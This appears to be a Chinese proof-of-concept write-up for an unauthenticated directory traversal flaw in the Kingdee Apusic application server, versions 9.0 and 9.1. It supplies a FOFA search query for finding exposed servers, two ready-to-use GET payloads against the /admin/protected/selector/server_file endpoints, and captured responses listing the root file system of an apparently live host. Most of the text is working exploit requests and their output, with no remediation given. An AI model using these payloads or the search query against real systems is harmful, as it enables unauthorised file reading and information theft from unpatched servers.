J17-6金蝶-Apusic应用服务器-目录遍历

漏洞描述：

由于金蝶Apusic应用服务器 /admin/protected/selector/server_file/files、/admin/protected/selector/server_file/folders 等接口没有进行校验和过滤，直接将参数拼接到文件操作中，导致出现目录遍历漏洞，未经身份验证的远程攻击者可通过此漏洞读取系统内部系统文件路径及信息，导致信息泄露，系统处于极不安全状态。

影响版本：

Apusic_port = 6888
Apusic_version = 9.0、9.1

网站图片：

网络测绘：

fofa语法：

(body="easSessionId" || header="easportal" || header="eassso/login" || banner="eassso/login" || body="/eassso/common" || (title="EAS系统登录" && body="金蝶") || header="EASSESSIONID" || banner="EASSESSIONID") && port="6888"

漏洞复现：

payload：

```
GET /admin/protected/selector/server_file/files?folder=/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

Request

数据包扫描 美化 热加载 构造请求

```
GET /admin/protected/selector/server_file/files?folder=/ HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

Responses 967bytes / 37ms

```
x-ibm942, x-ibm942c, x-ibm943, x-ibm943c,
x-ibm950, x-ibm951, x-ibm954, x-ibm954c,
x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso
x-jisautodetect, x-johab, x-koi8_ru, x-ksc
x-maccroatian, x-maccyrillic, x-macdingbat
x-macroman, x-macromania, x-macsymbol, x-m
x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs
x-sjis_0213, x-utf-16le-bom, x-utf-32be-bo
x-windows-50220, x-windows-50221, x-windo
x-windows-iso2022jp
date: Fri, 05 Apr 2024 07:43:46 GMT
server: Apusic Application Server/9.0 (Lin
7.0)
x-powered-by: Servlet/2.5 JSP/2.1
connection: close
nap_backend: 192.168.2.6:6898
set-cookie: EASSESSIONID=-1596724341; path
set-cookie: NAPRoutID=-1596724341; path=/
Content-Length: 967

{"total":0,"rows":[{"name":"boot","path":"
dev","folder":true},{"name":"home","path":
"path":"/proc","folder":true},{"name":"run
"path":"/sys","folder":true},{"name":"etc"
"path":"/root","folder":true},{"name":"var
"path":"/tmp","folder":true},{"name":"usr"
"path":"/bin","folder":true},{"name":"shin
```

poc-2

```
GET /admin/protected/selector/server_file/folders?parent=/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

Request

数据包扫描 美化 热加载 构造请求

```
GET /admin/protected/selector/server_file/folders?parent=/ HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

Responses 931bytes / 44ms

```
x-ibm942, x-ibm942c, x-ibm943, x-ibm943c,
x-ibm950, x-ibm951, x-ibm954, x-ibm954c,
x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso
x-jisautodetect, x-johab, x-koi8_ru, x-ksc
x-maccroatian, x-maccyrillic, x-macdingbat
x-macroman, x-macromania, x-macsymbol, x-m
x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs
x-sjis_0213, x-utf-16le-bom, x-utf-32be-bo
x-windows-50220, x-windows-50221, x-windo
x-windows-iso2022jp
date: Fri, 05 Apr 2024 07:46:57 GMT
server: Apusic Application Server/9.0 (Lin
7.0)
x-powered-by: Servlet/2.5 JSP/2.1
connection: close
nap_backend: 192.168.2.6:6890
set-cookie: EASSESSIONID=-1596724349; path
set-cookie: NAPRoutID=-1596724349; path=/
Content-Length: 931

[{"text":"boot","path":"/boot","hasChildre
"hasChildren":true},{"text":"home","path"
"path":"/proc","hasChildren":true},{"text"
{"text":"sys","path":"/sys","hasChildren"
"hasChildren":true},{"text":"root","path"
"path":"/var","hasChildren":true},{"text"
```